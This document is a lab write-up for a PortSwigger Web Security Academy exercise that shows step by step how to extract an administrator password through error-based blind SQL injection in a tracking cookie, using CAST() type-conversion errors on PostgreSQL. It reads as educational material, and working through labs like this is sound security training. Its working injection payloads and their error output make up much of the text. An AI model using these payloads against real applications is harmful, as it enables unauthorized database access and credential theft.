Blind SQL Injection — Error-Based Extraction via CAST()¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | Blind SQL Injection — Visible Error-Based via CAST() |
| Difficulty | Practitioner |
| Injection Point | TrackingId cookie |
| Goal | Leak the administrator password through database error messages |
Phase 1 — Reconnaissance¶
This lab is blind — query results are never displayed in the response body. However, the database does reflect error messages in the HTTP response. This opens a third exfiltration channel beyond boolean behavioral differences and time delays: we can force the database to include sensitive data inside an error message.
Column Count and UNION Confirmation¶
Probing the number of columns with ORDER BY:
TrackingId=' order by 2 -- -;
ERROR: ORDER BY position 2 is not in select list
TrackingId=' order by 1 -- -;
→ 200 OK — the query returns 1 column.
Confirming UNION injection and string type compatibility:
TrackingId=' union select NULL -- -;
TrackingId=' union select 'teto' -- -;
Both returned 200 OK — UNION works and the column accepts strings. However, 'teto' was not visible anywhere in the response body. This is what makes it blind: even though the injection is confirmed and UNION works, the results are never reflected.
DB Fingerprinting via Double-Quote Error¶
TrackingId=' union select "teto" -- -;
ERROR: column "teto" does not exist
PostgreSQL uses double quotes for identifiers (column and table names) and single quotes for string literals. The error column "teto" does not exist is PostgreSQL-specific — this confirms the backend is PostgreSQL.
Phase 2 — Why Boolean Conditions Don't Help Here¶
Testing boolean conditions to check for behavioral differences:
TrackingId=' or 1=1 -- -; → 200 OK
TrackingId=' or 2=1 -- -; → 200 OK
TrackingId=' or 'b'='a' -- -; → 200 OK
TrackingId=' or 'b'='b' -- -; → 200 OK
Both true and false conditions return the same HTTP 200. The application is not changing its behavior based on query results — boolean-based blind injection is not viable here. Boolean-based blind SQLi only works when the application produces a detectable behavioral difference between true and false conditions. If the response is identical either way, a different exfiltration channel is needed.
Phase 3 — The CAST() Technique: Forcing Errors to Leak Data¶
Since error messages are reflected in the response body, they can be used as a data exfiltration channel. CAST(value AS type) tells the database to convert a value to a specific data type. If the value cannot be converted — for example, trying to cast the string "administrator" as an INT — PostgreSQL throws an error that includes the original value in the message:
ERROR: invalid input syntax for type integer: "administrator"
The data we want to extract ends up printed inside the error message itself.
Full flow:
Database evaluates: SELECT password FROM users LIMIT 1
→ returns: "iuzilogunxe9x5x6yhby"
Database tries: CAST("iuzilogunxe9x5x6yhby" AS INT)
→ fails — cannot convert string to integer
Database reports: ERROR: invalid input syntax for type integer: "iuzilogunxe9x5x6yhby"
Application reflects: the error message in the HTTP response body
Attacker reads: the password from the error message
Phase 4 — Extraction¶
Step 1 — Confirm the Technique Works¶
TrackingId=' or 1=cast((select 1) as INT) -- -;
→ 200 OK — the subquery returns 1, casting to INT succeeds, 1=1 is true, no error. The technique is confirmed operational.
Step 2 — Target the users Table¶
TrackingId=' or 1=cast((select username from users) as INT) -- -;
ERROR: more than one row returned by a subquery used as an expression
The subquery returned multiple rows. The CAST() comparison requires a scalar — a single value. Adding LIMIT 1 forces exactly one row to be returned.
Step 3 — Leak the First Username¶
TrackingId=' or 1=cast((select username from users limit 1) as INT) -- -;
ERROR: invalid input syntax for type integer: "administrator"
The first user in the table is administrator. The CAST failed and leaked the value in the error message.
Step 4 — Leak the Administrator Password¶
TrackingId=' or 1=cast((select password from users limit 1) as INT) -- -;
ERROR: invalid input syntax for type integer: "iuzilogunxe9x5x6yhby"
The administrator's password was leaked directly in the error message: iuzilogunxe9x5x6yhby.
Conclusion¶
ORDER BYconfirmed the query returns 1 column; UNION injection worked but results were not reflected — confirming blind injection.- Double-quote error
column "teto" does not existfingerprinted the backend as PostgreSQL. - Boolean conditions produced identical responses for true and false — boolean-based blind was ruled out.
CAST((<subquery>) AS INT)was used to force a type conversion error. PostgreSQL's error messages include the value that failed to convert, turning a type mismatch into a data exfiltration channel.LIMIT 1was required to force a scalar result; the username payload leakedadministratorand the password payload leakediuzilogunxe9x5x6yhby.